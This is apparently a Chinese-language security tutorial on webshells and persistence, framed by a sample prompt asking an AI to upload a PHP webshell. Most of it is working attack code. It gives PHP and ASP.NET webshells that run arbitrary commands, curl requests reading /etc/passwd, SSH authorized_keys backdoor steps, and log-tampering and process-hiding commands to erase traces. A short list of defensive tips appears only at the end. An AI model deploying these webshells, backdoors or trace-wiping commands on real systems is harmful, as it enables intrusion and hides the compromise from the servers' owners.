Webshell 與持久化
Vibe Prompt
「幫我上傳一個簡單的 PHP WebShell,測試伺服器的上傳漏洞。」
PHP WebShell
<?php
// shell.php
$cmd = $_GET['cmd'] ?? 'id';
echo "<pre>" . shell_exec($cmd) . "</pre>";
?>
# 使用方式
curl "http://target.com/uploads/shell.php?cmd=ls%20-la"
curl "http://target.com/uploads/shell.php?cmd=cat%20/etc/passwd"
ASP.NET WebShell
<%
' cmd.aspx
Dim cmd As String = Request.QueryString("cmd")
If cmd <> "" Then
Dim p As New System.Diagnostics.Process()
p.StartInfo.FileName = "cmd.exe"
p.StartInfo.Arguments = "/c " & cmd
p.StartInfo.RedirectStandardOutput = True
p.Start()
Response.Write("<pre>" & p.StandardOutput.ReadToEnd() & "</pre>")
End If
%>
持久化技巧
| 方法 | 平台 | 檢測難度 | |------|------|---------| | Cron Job | Linux | 中 | | Scheduled Task | Windows | 中 | | SSH Authorized Keys | Linux | 低 | | Docker Container | 任何 | 高 | | Lambda Function | AWS | 高 |
建立持久化 SSH
# 客戶端產生金鑰
ssh-keygen -t ed25519 -f ~/.ssh/persist_key -N ""
# 加入目標的 authorized_keys
echo "$(cat ~/.ssh/persist_key.pub)" >> ~/.ssh/authorized_keys
# 設定隱藏
chmod 600 ~/.ssh/authorized_keys
# 連線(不需要密碼)
ssh -i ~/.ssh/persist_key user@target.com
清除痕跡
# 清除 Bash History
cat /dev/null > ~/.bash_history
history -c
# 清除 Logs
sed -i '/my-ip-address/d' /var/log/auth.log
sed -i '/my-username/d' /var/log/lastlog
# 清除 SSH Logs
> ~/.ssh/known_hosts
# 隱藏程序(Linux)
mount -o bind /dev/null /proc/12345
防護建議
- 關閉檔案上傳功能或嚴格驗證
- 使用 WAF 過濾 WebShell
- 監控異常的檔案寫入
- 禁止伺服器對外連線(出站限制)
- 定期掃描 Webshell(使用 Lynis、Rkhunter)